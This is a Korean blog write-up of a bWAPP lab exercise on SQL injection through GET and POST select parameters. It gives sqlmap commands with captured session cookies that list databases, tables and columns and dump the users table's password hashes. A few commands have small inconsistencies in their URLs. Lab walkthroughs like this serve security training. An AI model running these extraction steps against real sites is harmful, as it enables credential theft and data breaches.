본문 바로가기
Hacking/bWAPP

SQL Injection - GET Select / POST Select

by 알거음슴 2021. 6. 7.

SQL-Injection GET-Search

1. SQL-Injection GET-Search

이번 사이트는 입력란이 따로 있지않고 영화 리스트를 직접 선택시 DB안에 있는 상세 정보를 출력해주는 사이트이다.

. GET-Method 방식을 이용하고 있기 떄문에 영화를 선택할 때 마다 URL 상에서 movie 라는 변수가 계속 변경되고 있는걸 확인할 수 있으며 이번엔 sqlmap Tool을 활용하여 작업을 진행한다.

 

[참고] sqlmap

Sqlmap Database server의 탐지과정, Sql Injection결함을 통한 exploit을 자동화한 오픈소스 침투 점검용 Tool, 침투 점검자를 위한 틈새 특성들과 Database의 다양하고 폭 넓은 지속적인 변환, Database로부터 data탈취, 내부 파일시스템 접근, out-of-band ㅇㄴ결점을 통하여 OS command 실행과 같은 강력한 탐지기능을 탑재하고 있다.

 

2. SQL-Injection GET-Search / sqlmap attack

우선 burp suite를 통해 Cookie 값을 획득한다

획득한 Cookie 값을 가지고 sqlmap을 사용하여 Database 정보를 확인해본다.

sqlmap -u "http://192.168.10.137/bWAPP/sqli_2.php?movie=1&action=go" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" --dbs

Method type, sql injection 종류, 관련 payload, DB-version, Web server-version 등 다양한 정보를 한번에 얻을 수 있다. 또한 MySQL database의 이름들 또한 얻을 수 있는걸로 확인된다.

 

이번엔 bWAPP table 정보를 sqlmap을 통해서 얻어보자.

sqlmap -u "http://192.168.10.132/bWAPP/sqli_2.php?movie=1&action=go" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" -D bWAPP --tables

민감정보가 있을것으로 예상되는 users table이 확인된다. Users table columns 정보들을 조회해보자.

sqlmap -u "http://192.168.10.137bWAPP/sqli_2.php?movie=1&action=go" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" -T users --columns

역시나 id, login, password 등 민감한 정보들이 담겨져있는 table인것으로 확인이 가능하다.

 

Users table password columns 의 내용을 확인해보자

sqlmap -u "http://192.168.10.137/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" --data "movie=2" -T users -C password --dump

Password 까지 침투 완료. 역시나 hashkiller 등을 통해 복호화 진행 시 비밀번호를 획득할 수 있다.

 

 

3. SQL-Injection POST-Search

이번엔 POST 방식이다, 상단 URL통해서 Data를 주고받았던 GET 방식과는 다르게 HTTP request body 의 내용을 중심으로 자료를 주고받는 POST 방식의 대해서 분석한다.

기본적으로 GET 방식과 동일한 사이트 구성이다, 역시나 burp suiteCookie값을 얻은 후 sqlmap을 통하여 침투과정을 진행해본다.

burp suite 를 통해 획득한 Cookie sqlmap을 통하여 DB정보를 획득해보자. 기존 GET 방식과는 다르게 body 정보 내 취약한 변수인 movie 변수를 –-data “movie=” 값에 넣어서 조회해야한다.

sqlmap -u "http://192.168.10.137/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" --data "movie=2" --dbs

Get방식과 유사한 방식으로 sqlmap을 통해서 특정 정보들을 탈취하는데 성공한다. 이번에도 bWAPP table 내부, columns, 민감한 정보들까지 한번에 조회해본다.

 

테이블 정보 조회

sqlmap -u "http://192.168.10.137/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" --data "movie=2" -D bWAPP --tables

users table columns

sqlmap -u "http://192.168.10.132/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" --data "movie=2" -T users --columns

Password columns 의 내부 값.

sqlmap -u "http://192.168.10.137/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf508e171abee30f3c07bca8942f2879; security_level=0" --data "movie=2" -T users -C password --dump

이처럼 sqlmap 등의 Tool을 활용하여 select 방식으로 되어있는 Database 또한 취약점을 찾아서 Database의 내부 상세정보들을 조회해볼 수 있다.

'Hacking > bWAPP' 카테고리의 다른 글

SQL-Injection AJAX, Login, Blog   (0) 2021.06.14
SQL Injection - Login Form  (0) 2021.06.14
HTML Injection - Reflected(POST)  (0) 2021.06.03
HTML Injection - Reflected(GET)  (0) 2021.06.03
Injection  (0) 2021.06.02